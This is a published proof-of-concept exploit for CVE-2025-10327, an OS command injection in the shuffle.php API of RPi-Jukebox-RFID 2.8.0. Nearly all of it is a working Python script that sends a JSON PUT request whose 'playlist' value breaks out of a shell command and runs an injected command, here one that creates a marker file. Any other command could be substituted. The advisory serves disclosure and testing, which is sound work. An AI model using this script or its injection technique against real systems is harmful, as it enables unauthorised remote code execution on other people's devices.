RPi-Jukebox-RFID 2.8.0 – Remote Command Execution

# Exploit Title: RPi-Jukebox-RFID 2.8.0 - Remote Code Execution 
# Date: 2025-09-25
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://github.com/MiczFlor/RPi-Jukebox-RFID
# Software Link: https://github.com/MiczFlor/RPi-Jukebox-RFID/releases/tag/v2.8.0
# Version: 2.8.0
# Tested on: Raspberry Pi OS with RPi-Jukebox-RFID v2.8.0
# CVE: CVE-2025-10327
#
# Description:
# This PoC demonstrates an OS command injection vulnerability in the shuffle.php API endpoint.
# The vulnerable parameter "playlist" is passed directly to a shell command without sanitization,
# allowing an attacker to execute arbitrary system commands.

import requests
import json

# Replace this with the actual target IP or hostname
TARGET = "http://YOUR-TARGET-IP/phoniebox/api/playlist/shuffle.php"

# Payload to inject – here we create a file as proof of execution
INJECTED_COMMAND = "test';touch rced_by_xu17.txt;echo '"

# JSON payload for the request
payload = {
    "playlist": INJECTED_COMMAND,
    "shuffle": "true"
}

# HTTP headers
headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0"
}

def exploit():
    print("[+] Sending malicious JSON payload to trigger command injection...")
    try:
        response = requests.put(TARGET, headers=headers, data=json.dumps(payload), timeout=5)
        print(f"[+] HTTP Status Code: {response.status_code}")
        print("[*] If the target is vulnerable, the command should be executed on the server.")
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    exploit()